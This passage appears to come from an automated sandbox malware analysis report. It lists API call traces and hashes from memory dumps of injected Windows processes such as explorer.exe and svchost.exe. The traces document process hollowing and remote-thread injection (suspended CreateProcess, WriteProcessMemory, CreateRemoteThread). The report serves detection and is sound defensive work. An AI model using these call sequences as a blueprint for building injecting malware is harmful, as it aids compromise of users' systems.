CryptDestroyHash.ADVAPI32(?), ref: 03392E71
CryptDestroyKey.ADVAPI32(?), ref: 03392E7D
CryptReleaseContext.ADVAPI32(?,00000000), ref: 03392E8B

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Crypt$Hash$ContextDestroy$AcquireCreateDataImportInfoPublicReleaseSignatureVerify
String ID:
API String ID: 295346115-0
Opcode ID: 8daccd83c1521e93d6aa3a18378ac6c6e3e6a1207c5cbc88546a17831c3b5411
Instruction ID: a9588953a4301efdc7b5dce24028529ce33ef8720696c2ca29285a6db3fef14f
Opcode Fuzzy Hash: 8daccd83c1521e93d6aa3a18378ac6c6e3e6a1207c5cbc88546a17831c3b5411
Instruction Fuzzy Hash: 34111C31A00618BFEF225F20CC85BDA7B79AF54700F1445D5BE8ABD0A4DBB189A0DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0339093E Relevance: 18.1, APIs: 12, Instructions: 134sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 03390959
RtlExitUserThread.NTDLL(00000000), ref: 03390961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 03390981
GetStartupInfoA.KERNEL32(00000000), ref: 03390999

Part of subcall function 033909D9: CreateProcessA.KERNEL32(00000000,033909D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 033909E0
Part of subcall function 033909D9: GetThreadContext.KERNEL32(?,00000000), ref: 03390A08
Part of subcall function 033909D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 03390A33
Part of subcall function 033909D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,03395810,00000000,00000000,00000002), ref: 03390A78
Part of subcall function 033909D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 03390AA6
Part of subcall function 033909D9: ResumeThread.KERNEL32(?), ref: 03390AB6
Part of subcall function 033909D9: Sleep.KERNEL32(000003E8), ref: 03390AC6
Part of subcall function 033909D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 03390ADD

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 5d03330d33b3b27a40e3269c6242ef1dc1a02b5c5defd31e13463acd8d2fdf85
Instruction ID: 1f53164439c3b245fb970c75176261bb947708fbd6863543f9909df13ca610c2
Opcode Fuzzy Hash: 5d03330d33b3b27a40e3269c6242ef1dc1a02b5c5defd31e13463acd8d2fdf85
Instruction Fuzzy Hash: 71518231644354AFFF169F20CCC5B9A77BCAF04744F0801DABA45FE0D6DAB09594CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 033934B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 033934A2
lstrcat.KERNEL32(00000000,033934AD), ref: 033934B1
Process32Next.KERNEL32(00000000,00000000), ref: 033934C2
lstrlen.KERNEL32(00000000), ref: 033934CD

Part of subcall function 0339276C: VirtualAlloc.KERNEL32(00000000,03E80005,00003000,00000004,?,00000000), ref: 03392787
Part of subcall function 0339276C: lstrcat.KERNEL32(00000000,033927D1), ref: 033927E0
Part of subcall function 0339276C: VirtualFree.KERNEL32(-00000005,00000000,00008000,00000000,-00000005,03E80005,00000004,?,00000000), ref: 03392805

VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,000000C9), ref: 033934E7
CloseHandle.KERNEL32(00000000), ref: 033934EE

Strings

W, xrefs: 033934C9

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Virtuallstrcat$Free$AllocCloseHandleNextProcess32lstrlen
String ID: W
API String ID: 1406046206-655174618
Opcode ID: c8fa19f9968db6785e07a1955e6f0d7ff49f84e83013956b77b58b1155eecca2
Instruction ID: ef3ec26e5c51c7c41206fbc71775e80153d0f7335f2cf358adfcd1693d21f08e
Opcode Fuzzy Hash: c8fa19f9968db6785e07a1955e6f0d7ff49f84e83013956b77b58b1155eecca2
Instruction Fuzzy Hash: 04F08175104500AEFB136F208CC8FBE3ABCAF41715F040099FD45FD059CB7441558A69

Uniqueness

Uniqueness Score: -1.00%

Function 033909D9 Relevance: 12.1, APIs: 8, Instructions: 76threadsleepprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,033909D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 033909E0
GetThreadContext.KERNEL32(?,00000000), ref: 03390A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 03390A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,03395810,00000000,00000000,00000002), ref: 03390A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 03390AA6
ResumeThread.KERNEL32(?), ref: 03390AB6
Sleep.KERNEL32(000003E8), ref: 03390AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 03390ADD

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: cb1a56bbf55a9609519a9d5e117579c9d2b8a90392855b77a87fbfe701f84b21
Instruction ID: 5fa828bd603870724301637b747acb45afb63b0c151a8cd82c3295db3e432ae2
Opcode Fuzzy Hash: cb1a56bbf55a9609519a9d5e117579c9d2b8a90392855b77a87fbfe701f84b21
Instruction Fuzzy Hash: 79312B316402159FFF269F14CCC5BAA77BCAF04744F080195AA49FE0E5DBB09694CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 033931C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

Part of subcall function 03392597: lstrcat.KERNEL32(03392634,00000000), ref: 033925DE

lstrcat.KERNEL32(00000000,00000000), ref: 033931EA

Part of subcall function 033926F9: CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 03392715
Part of subcall function 033926F9: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 03392732
Part of subcall function 033926F9: WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 0339274E
Part of subcall function 033926F9: CloseHandle.KERNEL32(?), ref: 0339275F

GetStartupInfoA.KERNEL32(00000000), ref: 03393228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,033931B5,00000011,?,00000000,00000000), ref: 03393255
CloseHandle.KERNEL32(?,?,033931B5,00000011,?,00000000,00000000,00000000,0339306E,00000004,00000000), ref: 03393261
CloseHandle.KERNEL32(?,?,033931B5,00000011,?,00000000,00000000,00000000,0339306E,00000004,00000000), ref: 0339326D

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: CloseFileHandle$Createlstrcat$InfoPointerProcessStartupWrite
String ID:
API String ID: 1477093598-0
Opcode ID: 52ca7a41ac4a32d2a2c9c3052bde0af75adf02ba36e72263bc001af510b0aaac
Instruction ID: 18192be59e4bdb8bded702a23b36eefa29096d51947df12ba4608cc4d2e563f5
Opcode Fuzzy Hash: 52ca7a41ac4a32d2a2c9c3052bde0af75adf02ba36e72263bc001af510b0aaac
Instruction Fuzzy Hash: 571127B6804918EFEF12AF60CC84B9F77BDEF40305F0549AAE586EA014DA345A90CE55

Uniqueness

Uniqueness Score: -1.00%

Function 0339343F Relevance: 7.5, APIs: 5, Instructions: 43processmemorystringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0339344D
Process32First.KERNEL32(00000000,00000000), ref: 03393473
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 0339348B
lstrcat.KERNEL32(00000000,00000000), ref: 033934A2
CloseHandle.KERNEL32(00000000), ref: 033934EE

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: AllocCloseCreateFirstHandleProcess32SnapshotToolhelp32Virtuallstrcat
String ID:
API String ID: 1167326197-0
Opcode ID: 5f9d1eb2edb9076798b234430a1619a4ded5de1aa51cd46c1ede4133039d73f4
Instruction ID: 0d84ba828c66bdfe04a1925697b2baa3f49373fc768df1c99f24d61c978887fb
Opcode Fuzzy Hash: 5f9d1eb2edb9076798b234430a1619a4ded5de1aa51cd46c1ede4133039d73f4
Instruction Fuzzy Hash: 410147B0101200EFFF239A208C88BA976EC9F00720F0800A9BD44EE0C5DF74C4518564

Uniqueness

Uniqueness Score: -1.00%

Function 03393F0D Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,03393F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 03393F2D
Sleep.KERNEL32(000003E8,00000000,?,03393F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 03393F4B
Sleep.KERNEL32(000007D0), ref: 03393F5B
Sleep.KERNEL32(00000BB8), ref: 03393F6B

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: ab11c2741b2bf6d40620f8a1c1d83e6402f3f97ec40c804351164b00e2b9bff0
Instruction ID: 608faa6d4a59d422dba8757afc2ce219da828422d74a7053479ca400b37f6c07
Opcode Fuzzy Hash: ab11c2741b2bf6d40620f8a1c1d83e6402f3f97ec40c804351164b00e2b9bff0
Instruction Fuzzy Hash: 32F01CBCD88340EAFF40BBB48CC965977B8AF40755F040692AA8BAD4D4DE7489508E75

Uniqueness

Uniqueness Score: -1.00%

Function 03393EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(03393EBD,00000006,E8FFFE1B,00000000), ref: 03393EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,03393F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 03393F2D

Part of subcall function 03390C9C: GetProcAddress.KERNEL32(03392811,0339290A), ref: 03390CA9

Strings

j, xrefs: 03393EFC

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: j
API String ID: 310444273-2747090070
Opcode ID: efa1dc669fdda1affb635a68a859d1326d4b89420978e385a295ff765e4871df
Instruction ID: fc3617a0d43bdae87a995d0787c129ae117b5ad2a86ac9b76662c10f64149c01
Opcode Fuzzy Hash: efa1dc669fdda1affb635a68a859d1326d4b89420978e385a295ff765e4871df
Instruction Fuzzy Hash: 75F044FD944344EDFF11FA708CC4BAAB3BCAF40655F044157A987DD040DE308940CAA6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 2580, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	193
Total number of Limit Nodes:	20

Executed Functions

Function 01341F8D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
injectionmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 01341FDE
WriteProcessMemory.KERNEL32 ref: 01342000
CreateRemoteThread.KERNEL32 ref: 01342028

Strings

@, xrefs: 01341FD6

Memory Dump Source

Source File: 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp, Offset: 01340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1340000_explorer.jbxd

Similarity

API ID: AllocCreateMemoryProcessRemoteThreadVirtualWrite
String ID: @
API String ID: 1718980022-2766056989
Opcode ID: 555e0c67af10e97da054ffcb9d0bcadb1ad1097a1fa24538a47e0c0e30f3960e
Instruction ID: 5dfa931b168189c6da55d443e70d6d7ed06949fb25be811420ce0b21a591a078
Opcode Fuzzy Hash: 555e0c67af10e97da054ffcb9d0bcadb1ad1097a1fa24538a47e0c0e30f3960e
Instruction Fuzzy Hash: CF118F3120C9084FE748EA1CE80D76577DAF7D8325F25436EE44ED3295DE3899168785

Uniqueness

Uniqueness Score: -1.00%

Function 01342270 Relevance: 1.6, APIs: 1, Instructions: 132
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFile.NTDLL ref: 013422E1

Memory Dump Source

Source File: 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp, Offset: 01340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1340000_explorer.jbxd

Similarity

API ID: DirectoryFileQuery
String ID:
API String ID: 3295332484-0
Opcode ID: 60616ae1fcc6cbf86718ecfd86d321865c6476175aa306813cb9b129d8017b94
Instruction ID: 7a9b81688a2db40c8f5b847e09044eeb72262b630aeddaae26f61545e25466d0
Opcode Fuzzy Hash: 60616ae1fcc6cbf86718ecfd86d321865c6476175aa306813cb9b129d8017b94
Instruction Fuzzy Hash: 2C411530608A4E8FDF95EF1CD884BAA7BF4FB69359F40016AF909D7210D730E8848B41

Uniqueness

Uniqueness Score: -1.00%

Function 01341EE1 Relevance: 1.6, APIs: 1, Instructions: 54
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateUserProcess.NTDLL ref: 01341F33

Memory Dump Source

Source File: 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp, Offset: 01340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1340000_explorer.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 94379df3e286b699d65894a0865ea8b3d4463f1672bff53da76e62b6f5315873
Instruction ID: 32af6664475258df2025926b18748e272a5399bca74b2e2a3e5bffc18d134367
Opcode Fuzzy Hash: 94379df3e286b699d65894a0865ea8b3d4463f1672bff53da76e62b6f5315873
Instruction Fuzzy Hash: 30114C74908A8C8FDFC4EF6CC488A697BE0FB68355F54062AB859C32A0D775D8948B41

Uniqueness

Uniqueness Score: -1.00%

Function 01341D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 01341D99
VirtualAlloc.KERNEL32 ref: 01341DD2
VirtualProtect.KERNEL32 ref: 01341E56

Memory Dump Source

Source File: 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp, Offset: 01340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1340000_explorer.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: fe543ba5981a4b2cd0a471ec537e1e9909e24de02a6f2c7c72e786ac4512fa1f
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: C821E730A34C1D0BFB68A27C9859764F6D2E79C320F980295E90DD36E4ED58DCC183C6

Uniqueness

Uniqueness Score: -1.00%

Function 01370811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0137092A
RtlExitUserThread.NTDLL ref: 01370933

Memory Dump Source

Source File: 00000003.00000002.2916329205.0000000001370000.00000040.00000400.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1370000_explorer.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: ea8e8263a52ffd1b72090123e7935646c661fcb3b5f8d857c32fcc52ac9d5973
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 463159720102057FEF257F748D86ABA7FACEF12318F040166BD85DE0A1EA384954CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 01340811 Relevance: 1.6, APIs: 1, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 013408CE

Memory Dump Source

Source File: 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp, Offset: 01340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1340000_explorer.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: f828dda867ed27b1dc25a4f885b7e8e46b830c7295b4a0c4c789bd2f8f5b16ba
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 7C313672110205AFFB057B749D86AFA3FECEF10318F040165BE85DA0A6EA306994CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 013408B3 Relevance: 1.5, APIs: 1, Instructions: 14
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 013408CE

Memory Dump Source

Source File: 00000003.00000002.2912374874.0000000001340000.00000040.00000001.00020000.00000000.sdmp, Offset: 01340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1340000_explorer.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: e4423c0a58cdb4c7a61b8c611d717cf6067e42c28c7b42a6ea57d7b01533138c
Instruction ID: bc72de932e0fa4b54f58ad44bb5737dfb27672e31d192ce4b9b4917607245898
Opcode Fuzzy Hash: e4423c0a58cdb4c7a61b8c611d717cf6067e42c28c7b42a6ea57d7b01533138c
Instruction Fuzzy Hash: BFC08C27630C0603CE18B37C2D4909839C4ED2102E3C05634A123C00A6D824709642A2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sihost.exePID: 3420, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	105
Total number of Limit Nodes:	6

Executed Functions

Function 00AC21D1 Relevance: 1.6, APIs: 1, Instructions: 83
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 00AC2237

Memory Dump Source

Source File: 00000004.00000002.2880966053.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 45d53095cbbf9c766309197109e34ac0c8c251fd450118505d4c08bfa770ae20
Instruction ID: cdfd058294846393527a23a69d82aed125c299c38b3c44931be5a47ac5480816
Opcode Fuzzy Hash: 45d53095cbbf9c766309197109e34ac0c8c251fd450118505d4c08bfa770ae20
Instruction Fuzzy Hash: F3213D31518E5D8F8F55EF1C8809FEA37E1FB68755B42032AAC19E3200D730D98087C1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00AC1D99
VirtualAlloc.KERNELBASE ref: 00AC1DD2
VirtualProtect.KERNELBASE ref: 00AC1E56

Memory Dump Source

Source File: 00000004.00000002.2880966053.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: dd34eb1389eaef043c92a696ed53661b54a7e883a9eaaee22049f10a42ac24d8
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: E221F730B34C1D0BEB58A77C9859764F6D2E79C320F990299E91ED36E5ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00AC0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00AC092A
RtlExitUserThread.NTDLL ref: 00AC0933

Memory Dump Source

Source File: 00000004.00000002.2880966053.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 23dfea852a366a571cc3348c698cc6744426d11f639f151413aad9b7f5eb2e10
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9231E472000204AFEF017F709E86FBA3BACEF11300F424169BD85DA0A2EA7449658BB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 3456, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	69
Total number of Limit Nodes:	4

Executed Functions

Function 00910811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0091092A
RtlExitUserThread.NTDLL ref: 00910933

Memory Dump Source

Source File: 00000005.00000002.2888530832.0000000000910000.00000040.00000001.00020000.00000000.sdmp, Offset: 00910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_910000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 0bb578ed6cec17c8f136f477abcb2608ff25218c2125ec3b643453ee16afebde
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DE31D67220420C7FEB017B709D46BFA3B6CEF91300F4001A5BD85DA0A2DAB649D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 3528, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	69
Total number of Limit Nodes:	4

Executed Functions

Function 009A0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 009A092A
RtlExitUserThread.NTDLL ref: 009A0933

Memory Dump Source

Source File: 00000006.00000002.2883996470.00000000009A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 009A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9a0000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 87a61ee7780fe3dd6be775b2a921c89204c80ea1769b2b74f3f30dd65b7be30b
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DB31E6724102046FEB017B749D4ABBA7BACEF92310F000165BD85DA0A6EA7549648AFA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ctfmon.exePID: 3832, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	101
Total number of Limit Nodes:	4

Executed Functions

Function 00A51D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00A51D99
VirtualAlloc.KERNELBASE ref: 00A51DD2
VirtualProtect.KERNELBASE ref: 00A51E56

Memory Dump Source

Source File: 00000007.00000002.2883830888.0000000000A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a50000_ctfmon.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: e5dc80538da9fb4d46b28acacc3c2bb4e555f0cc24faa64339f8904ee302d7fe
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 9621D631A34C1D0BEB58A27C9859774F6E2F79C321F940295ED19D36D4ED68CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00A50811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00A5092A
RtlExitUserThread.NTDLL ref: 00A50933

Memory Dump Source

Source File: 00000007.00000002.2883830888.0000000000A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a50000_ctfmon.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: d9c953606555283b5bd9303adf5bc3df3a133a87740289e9a75d62b9567f8b42
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: D831C672410204AFEF017F709E87EBA3BACFF11312F440165FD95DA0A6EA744969CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 4196, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	67
Total number of Limit Nodes:	5

Executed Functions

Function 00D40811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00D4092A
RtlExitUserThread.NTDLL ref: 00D40933

Memory Dump Source

Source File: 00000008.00000002.2886142488.0000000000D40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 08b2109dcbf42d691bd0579a811ffb356924513e44b27f1ccfa88f3ac837c6f5
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: A631C672410244AFEB017B709D86ABA3FACEF11310F440165BE85DA0A6EA7449A5CAF5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: StartMenuExperienceHost.exePID: 4660, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	4

Executed Functions

Function 00B50811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00B5092A
RtlExitUserThread.NTDLL ref: 00B50933

Memory Dump Source

